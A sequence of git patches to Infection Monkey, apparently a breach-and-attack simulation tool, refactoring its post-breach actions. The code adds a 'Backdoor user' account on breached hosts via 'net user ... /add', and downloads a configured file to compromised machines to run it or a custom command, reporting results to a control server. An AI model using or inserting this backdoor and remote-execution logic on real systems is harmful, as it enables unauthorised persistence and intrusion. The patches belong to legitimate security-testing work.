+  return <span>{val.map(x => <span key={x}> {x}</span>)}</span>;
 };
 
 let renderIpAddresses = function (val) {
@@ -36,7 +36,7 @@ let renderDetails = function (data) {
                   columns={subColumns}
                   defaultPageSize={defaultPageSize}
                   showPagination={showPagination}
-                  style={{"background-color": "#ededed"}}
+                  style={{"backgroundColor": "#ededed"}}
                 />
 };
 

From b6523b1d45a030d79dbcaf1875f70134e4e5fdba Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 28 May 2019 17:37:26 +0300
Subject: [PATCH 08/10] Refactored to automatically check if post breach should
 run or not

---
 .../post_breach/actions/add_user.py           | 10 +--
 .../post_breach/actions/users_custom_pba.py   | 74 +++++++++----------
 monkey/infection_monkey/post_breach/pba.py    | 37 ++++------
 .../post_breach/post_breach_handler.py        |  7 +-
 4 files changed, 53 insertions(+), 75 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index 68fb46983..650f37b2f 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -14,12 +14,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
                     '/add', '/ACTIVE:NO']
 
 
-class BackdoorUser(object):
-    PBA_NAME = "Backdoor user"
-
+class BackdoorUser(PBA):
     def __init__(self):
-        pass
-
-    @staticmethod
-    def get_pba():
-        return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
+        super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index a13064cb4..a297dbd1c 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -1,4 +1,3 @@
-import requests
 import os
 import logging
 
@@ -24,14 +23,44 @@ class UsersPBA(PBA):
     """
     Defines user's configured post breach action.
     """
-    def __init__(self, command="", filename=""):
-        self.filename = filename
-        super(UsersPBA, self).__init__("File execution", command)
+    def __init__(self):
+        super(UsersPBA, self).__init__("File execution")
+        self.filename = ''
+        if not is_windows_os():
+            # Add linux commands to PBA's
+            if WormConfiguration.PBA_linux_filename:
+                if WormConfiguration.custom_PBA_linux_cmd:
+                    # Add change dir command, because user will try to access his file
+                    self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
+                    self.filename = WormConfiguration.PBA_linux_filename
+                else:
+                    file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
+                    self.command = DEFAULT_LINUX_COMMAND.format(file_path)
+                    self.filename = WormConfiguration.PBA_linux_filename
+            elif WormConfiguration.custom_PBA_linux_cmd:
+                self.command = WormConfiguration.custom_PBA_linux_cmd
+        else:
+            # Add windows commands to PBA's
+            if WormConfiguration.PBA_windows_filename:
+                if WormConfiguration.custom_PBA_windows_cmd:
+                    # Add change dir command, because user will try to access his file
+                    self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
+                    self.filename = WormConfiguration.PBA_windows_filename
+                else:
+                    file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
+                    self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
+                    self.filename = WormConfiguration.PBA_windows_filename
+            elif WormConfiguration.custom_PBA_windows_cmd:
+                self.command = WormConfiguration.custom_PBA_windows_cmd
 
     def _execute_default(self):
-        UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
+        if self.filename:
+            UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
         return super(UsersPBA, self)._execute_default()
 
+    def should_run(self, class_name):
+        return self.command
+
     @staticmethod
     def download_pba_file(dst_dir, filename):
         """
@@ -53,38 +82,3 @@ class UsersPBA(PBA):
         except IOError as e:
             LOG.error("Can not upload post breach file to target machine: %s" % e)
             return False
-
-    @staticmethod
-    def get_pba():
-        """
-        Creates post breach actions depending on users input into 'custom post breach' config section
-        :return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
-        """
-        command_pba_name = "Custom command"
-
-        if not is_windows_os():
-            # Add linux commands to PBA's
-            if WormConfiguration.PBA_linux_filename:
-                if WormConfiguration.custom_PBA_linux_cmd:
-                    # Add change dir command, because user will try to access his file
-                    command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
-                    return UsersPBA(command, WormConfiguration.PBA_linux_filename)
-                else:
-                    file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
-                    command = DEFAULT_LINUX_COMMAND.format(file_path)
-                    return UsersPBA(command, WormConfiguration.PBA_linux_filename)
-            elif WormConfiguration.custom_PBA_linux_cmd:
-                return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_linux_cmd)
-        else:
-            # Add windows commands to PBA's
-            if WormConfiguration.PBA_windows_filename:
-                if WormConfiguration.custom_PBA_windows_cmd:
-                    # Add change dir command, because user will try to access his file
-                    command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
-                    return UsersPBA(command, WormConfiguration.PBA_windows_filename)
-                else:
-                    file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
-                    command = DEFAULT_WINDOWS_COMMAND.format(file_path)
-                    return UsersPBA(command, WormConfiguration.PBA_windows_filename)
-            elif WormConfiguration.custom_PBA_windows_cmd:
-                return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_windows_cmd)
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 12de8c760..38c9c13da 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -2,7 +2,7 @@ import logging
 import subprocess
 from infection_monkey.control import ControlClient
 from infection_monkey.utils import is_windows_os
-from infection_monkey.config import WormConfiguration, GUID
+from infection_monkey.config import WormConfiguration
 
 
 LOG = logging.getLogger(__name__)
@@ -14,38 +14,28 @@ class PBA(object):
     """
     Post breach action object. Can be extended to support more than command execution on target machine.
     """
-    def __init__(self, name="unknown", command=""):
+    def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
         """
         :param name: Name of post breach action.
         :param command: Command that will be executed on breached machine
         """
-        self.command = command
+        self.command = PBA.choose_command(linux_cmd, windows_cmd)
         self.name = name
 
-    @staticmethod
-    def get_pba():
+    def get_pba(self):
         """
-        Should be overridden by all child classes.
-        This method returns a PBA object based on worm's configuration.
-        :return: An array of PBA objects.
+        This method returns a PBA object based on a worm's configuration.
+        Return None or False if you don't want the pba to be executed.
+        :return: A pba object.
         """
-        raise NotImplementedError()
+        return self
 
-    @staticmethod
-    def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""):
+    def should_run(self, class_name):
         """
-        Default get_pba() method implementation
-        :param name: PBA name
-        :param pba_class: class instance. Class's name is matched to config to determine
-        if corresponding field was enabled in post breach array or not.
-        :param linux_cmd: commands for linux
-        :param windows_cmd: commands for windows
-        :return: post breach action
+        Decides if post breach action is enabled in config
+        :return: True if it needs to be ran, false otherwise
         """
-        if pba_class.__name__ in WormConfiguration.post_breach_actions:
-            command = PBA.choose_command(linux_cmd, windows_cmd)
-            if command:
-                return PBA(name, command)
+        return class_name in WormConfiguration.post_breach_actions
 
     def run(self):
         """
@@ -55,8 +45,7 @@ class PBA(object):
         result = exec_funct()
         ControlClient.send_telemetry('post_breach', {'command': self.command,
                                                      'result': result,
-                                                     'name': self.name,
-                                                     'guid': GUID})
+                                                     'name': self.name})
 
     def _execute_default(self):
         """
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 65b11276c..17e2a8950 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -1,6 +1,7 @@
 import logging
 import inspect
 import importlib
+from infection_monkey.post_breach.pba import PBA
 from infection_monkey.post_breach.actions import get_pba_files
 from infection_monkey.utils import is_windows_os
 
@@ -41,10 +42,10 @@ class PostBreach(object):
             module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
             # Get all classes in a module
             pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
-                           if ((m[1].__module__ == module.__name__) and getattr(m[1], "get_pba", False))]
+                           if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
             # Get post breach action object from class
             for pba_class in pba_classes:
-                pba = pba_class.get_pba()
-                if pba:
+                pba = pba_class()
+                if pba.should_run(pba_class.__name__):
                     pba_list.append(pba)
         return pba_list

From c9a313b90f27257da2da71c7af669f952d54d5a9 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 29 May 2019 10:59:02 +0300
Subject: [PATCH 09/10] UI fix

---
 .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index de29da4e6..75d2b1c93 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -21,7 +21,7 @@ class ConfigurePageComponent extends AuthComponent {
     this.initialConfig = {};
     this.initialAttackConfig = {};
     this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
-    this.uiSchemas = ConfigurePageComponent.getUiSchemas();
+    this.uiSchemas = this.getUiSchemas();
     // set schema from server
     this.state = {
       schema: {},
@@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
     };
   }
 
-  static getUiSchemas(){
+  getUiSchemas(){
     return ({
       basic: {"ui:order": ["general", "credentials"]},
       basic_network: {},

From b5b2fd7c0efe5c08b4d428217bee1bec6a29b450 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Thu, 30 May 2019 09:03:23 +0300
Subject: [PATCH 10/10] PBA created after we check if it's going to run

---
 .../post_breach/actions/users_custom_pba.py           | 11 +++++++++--
 monkey/infection_monkey/post_breach/pba.py            |  3 ++-
 .../post_breach/post_breach_handler.py                |  4 ++--
 3 files changed, 13 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index a297dbd1c..61ec6f5d7 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -58,8 +58,15 @@ class UsersPBA(PBA):
             UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
         return super(UsersPBA, self)._execute_default()
 
-    def should_run(self, class_name):
-        return self.command
+    @staticmethod
+    def should_run(class_name):
+        if not is_windows_os():
+            if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
+                return True
+        else:
+            if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
+                return True
+        return False
 
     @staticmethod
     def download_pba_file(dst_dir, filename):
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 38c9c13da..8be04a468 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -30,7 +30,8 @@ class PBA(object):
         """
         return self
 
-    def should_run(self, class_name):
+    @staticmethod
+    def should_run(class_name):
         """
         Decides if post breach action is enabled in config
         :return: True if it needs to be ran, false otherwise
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 17e2a8950..8522f412f 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -45,7 +45,7 @@ class PostBreach(object):
                            if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
             # Get post breach action object from class
             for pba_class in pba_classes:
-                pba = pba_class()
-                if pba.should_run(pba_class.__name__):
+                if pba_class.should_run(pba_class.__name__):
+                    pba = pba_class()
                     pba_list.append(pba)
         return pba_list